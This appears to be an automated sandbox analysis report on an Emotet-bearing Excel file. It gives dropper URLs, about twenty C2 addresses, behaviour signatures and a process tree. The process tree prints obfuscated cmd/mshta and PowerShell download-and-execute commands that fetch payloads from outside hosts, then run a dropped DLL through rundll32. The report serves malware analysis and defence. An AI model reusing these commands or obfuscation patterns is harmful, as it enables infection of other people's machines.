Analysis

  • max time kernel
    133s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19/01/2022, 22:46

General

  • Target
    241c5d9ab82693492059b9353498a6da.xls
  • Size 141KB
  • Sample220119-2py1qsdgbr
  • SHA256 d7eb6f673e1dfe379598ee10ef05a32e82152bfe1a49aecc0cf808108cb08202
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\241c5d9ab82693492059b9353498a6da.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:940
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:384
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1272
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:616
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1388
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:912
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:888
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1520
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jftdqbucvtl\ipebasyjuk.cww",GhmOxVMvFlAJYG
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1692
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jftdqbucvtl\ipebasyjuk.cww",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:276

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/276-94-0x0000000000290000-0x00000000002B6000-memory.dmp

          memory/276-112-0x0000000002BA0000-0x0000000002BC6000-memory.dmp

          memory/276-110-0x0000000002AA0000-0x0000000002AC6000-memory.dmp

          memory/276-108-0x0000000002840000-0x0000000002866000-memory.dmp

          memory/276-106-0x0000000002710000-0x0000000002736000-memory.dmp

          memory/276-104-0x0000000002660000-0x0000000002686000-memory.dmp

          memory/276-102-0x0000000002600000-0x0000000002626000-memory.dmp

          memory/276-98-0x0000000002340000-0x0000000002366000-memory.dmp

          memory/276-96-0x0000000000900000-0x0000000000926000-memory.dmp

          memory/384-58-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp

          memory/888-69-0x00000000002C0000-0x00000000002E6000-memory.dmp

          memory/940-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/940-57-0x0000000076121000-0x0000000076123000-memory.dmp

          memory/940-114-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/940-54-0x000000002F361000-0x000000002F364000-memory.dmp

          memory/940-55-0x0000000071601000-0x0000000071603000-memory.dmp

          memory/1388-62-0x00000000020A0000-0x00000000021F0000-memory.dmp

          memory/1388-60-0x00000000020A0000-0x00000000021F0000-memory.dmp

          memory/1388-61-0x00000000020A0000-0x00000000021F0000-memory.dmp

          memory/1520-80-0x0000000000500000-0x0000000000526000-memory.dmp

          memory/1520-76-0x00000000001C0000-0x00000000001E6000-memory.dmp

          memory/1520-84-0x00000000026B0000-0x00000000026D6000-memory.dmp

          memory/1520-86-0x0000000002850000-0x0000000002876000-memory.dmp

          memory/1520-89-0x00000000028B0000-0x00000000028D6000-memory.dmp

          memory/1692-91-0x00000000001F0000-0x0000000000216000-memory.dmp